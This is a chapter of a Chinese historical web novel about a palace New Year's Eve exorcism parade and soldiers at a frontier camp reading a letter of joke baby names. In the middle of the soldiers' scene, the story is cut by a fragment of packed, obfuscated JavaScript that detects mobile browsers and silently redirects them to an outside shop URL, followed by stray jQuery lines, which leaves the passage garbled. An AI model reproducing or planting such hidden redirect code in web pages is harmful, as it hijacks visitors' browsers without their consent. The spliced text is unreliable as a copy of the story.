上京。


    李在宥躺在床上，手里举着沈仓的信，但是并没有真的看进去。


    他不能回复这封信件，但阅读这信里斟字酌句的小心，也能想象到千里之外的敢战营日子并不好过。


    看落款的日期，已经过去十多天了。魏无功肯定气坏了。他想着。


    边线的一些战报，他想知道，但是赵元贞压着不给他看。他明白赵元贞的好意，但是不看更难受，因为会忍不住瞎想。


    耳边一阵阵遥远的鞭炮响，丫头子叩门进来，提醒他内宴要开始了。他答应了一声，但是没有动。


    除夕夜，官家邀请了近臣和有头脸的后妃、皇子公主们一起摆宫宴、观驱傩。李在宥明面儿上的身份是个“太监”，实际上的身份更尴尬，他是一点儿也不想去，但是赵元贞坚持让他出门散散心。


    “陪我守岁，”赵元贞前几日特意跑到他跟前嘱咐他：“不好好守岁来年要倒霉的。”


    他叹口气起身，牵了匹马往宫里赶。走到半道，路过教坊，扮演疫病鬼、钟馗和各路神仙的亲事官、诸班直都已早早进宫候着了，只余下一地残次的面具假发无人收拾。


    李在宥本来匆匆路过，往前走了一段儿，突然鬼使神差地勒住了马，掉头回到教坊门口，在地上捡起一个红脸青角小鬼的面具。


    他把面具拿在手里颠倒看，发现獠牙左边有个缺角，轻轻一笑，翻过手腕，把东西扣在了自己脸上。


    ……


    宫宴上，眼看着驱傩大典就要开始了，赵元贞踮着脚抬头望，李在宥还没出现。


    一阵密集的鞭炮响起，烟雾里，头戴钟馗冠、身着金甲彩袍的伶人高举鼓槌，擂动三人合抱的龙纹鼓。随着第一声浑厚的鼓声响起，宴会也进入了高潮，满桌的玲珑糕点、御膳珍馐无人问津，连宫娥嫔妃们都不再矜持，站起来欢呼雀跃跑向栏杆，等着驱傩的队伍经过。


    一支千人的队伍从东华门出发，转龙池湾，潮水一般招摇过市，最后停在官家御前。队伍里人人以鬼神覆面，身着绣画色衣，手执金枪龙旗，鼓噪着、奔跑着，冲到年轻的公主皇儿面前吓他们，再被扮演钟馗的伶人一一用桃木剑驱赶，寓意着“驱祟”和“埋祟”。


    李在宥跟在游行狂欢的队伍里面，放声喊叫。扣上面具，他不再需要面对皇宫内院任何一个喜欢的或者讨厌的人，他也可以拥有任何一种情绪，获得某种意义上的绝对自由。


    “唔咓——”他凑到赵元贞边上，张开双臂，用红面獠牙的脸怼着她，引来赵元贞一阵笑。


    “神经病啊你，饭不吃跑去装鬼！”她看见眼前缺了半颗牙的小鬼，一下就猜到是李在宥。李在宥也没理她，跑跑跳跳地去吓仇家去了。


    面具里，只余下方寸天地，声音被放大，又在纸糊的壳子里折进耳朵。李在宥听着自己的粗喘和大笑，有点儿不真切，跟平时自己发出的动静好像不太一样。


    他就这么跑着、跳着、叫着，一直冲到喧闹的人堆里去。远处的烟火、近处的花灯、炮仗的硝烟和万千围在官家身边的虚与委蛇在他面前模糊、融化，变成一个个荒芜的光斑。他突然就觉得没意思。


    “不玩儿了。”


    李在宥站定，揭下的面具随手扔在地上，离开群魔乱舞的人群，到赵元贞边上一屁股坐下。


    有点饿，他拿起银箸，看着桌上码得层层叠叠的馎饦、山珍、鱼糕肉糕和酥酪果品，踌躇了一会儿，叼了个不惹眼的汤圆儿放进嘴里。


    芝麻磨得细腻，面团和得清甜，强过人间不知道多少倍，可惜就是有点儿凉了。


    另一边。


    敢战营今天休务，三个单身汉凑在一块儿闷头喝酒。


    魏无功孤儿一个，没地儿去；张定钧一个藩将，也不让乱跑；沈仓理论上有老婆，但是前线打着仗，好几年了，他想回也回不去。


    魏无功就没喝过这么难受的酒。


    张定钧心事重重，三棍子打不出一个屁，沈仓老成持重，平时话也不多，魏无功夹在他俩闷葫芦中间，不知所措，感觉他们仨可以组成一个盼回信联盟了。


    狗东西，还不寄信。


    岁末朝廷来了旬设，赐了不少好酒好肉到队伍里。魏无功一边愤愤想着，一边扯了条腊鸭腿，拿牙啃得咔崩响。


    他一边吃，一边悄悄往沈仓那边挪了一点。张定钧把他盯得心里毛毛的，这人也不知道是什么毛病，喝个酒老打量他。


    “我脸上有东西？”他悄悄问沈仓。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176063|195775||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >“没啊，”沈仓撩起眼皮看他一眼：“就是下巴有点儿油。”


    魏无功啧了一声，准备找个东西擦擦嘴。身上的衣服是月头新发的，本来没舍得，想起兜里金丝绣线的手绢，到头来还是用了袖子。


    很难说他们三个喝酒是为了什么，可能是因为别的人都在欢天喜地期待新年，所以感觉自己也非得找点儿什么事儿干，强行融入这个氛围。


    沈仓和张定钧刚碰完杯，正在小声说话，突然魏无功掏出一张纸，“啪！”一声拍在桌案上：


    “念念！你们哪个，随便，给念念！”


    他说。手指指节在桌上磕出一串儿响。


    沈仓很疑惑地抬头，发现魏无功双颊隐隐泛红，眼睛也有点儿直了，知道他原来是喝高了。


    他跟张定钧对望一眼，互相都觉得有点好笑，喝大了的魏都头回到了他本来的年纪，比平时开朗。


    “我看看啊……”沈仓拿起纸张，感觉自己此刻也有点儿高，眨巴了两下眼睛才聚上焦：


    “男孩儿就叫魏铁牛……魏富贵儿……魏……魏……这是个啥字儿魏……”


    “你这酒量也不行嘛，”张定钧嗤一声把他手里的纸抽走了，一看是一串串人名，还分了男女隔开：“男孩儿叫铁牛、富贵、拴柱、麻子……女孩儿就叫妞儿、翠芬……这都什么跟什么……”张定钧有点莫名其妙。


    “哦……后头交代了，”他眼睛看到最后一排：


    “魏大人鉴：


    阁下所托，不敢忘怀。苦思数日，择吉名若干。名虽朴拙，然取其坚忍生养之意，甚合边塞风骨。


    闻易州岁寒，万望珍重，待再见来时，当与汝浮一大白。


    在宥顿首”


    林海草原出身的张定钧念到这里，感觉自己没醉也晕，字都认识，连在一起却看不懂了。直到他看见最后一段侧边有一行小字批注：


    “又及——名是认真起的！贱名好养活！——在宥再顿首。”


    边上的沈仓一直笑，喝了酒声音打飘，听着跟鸡打鸣儿似的。张定钧念完摇摇头，把信纸放回桌上，抬眼看魏无功：


    魏都头不知道什么时候已经睡着了，皱着眉靠着炕头，手里还攥着半根儿没啃完的鸭腿。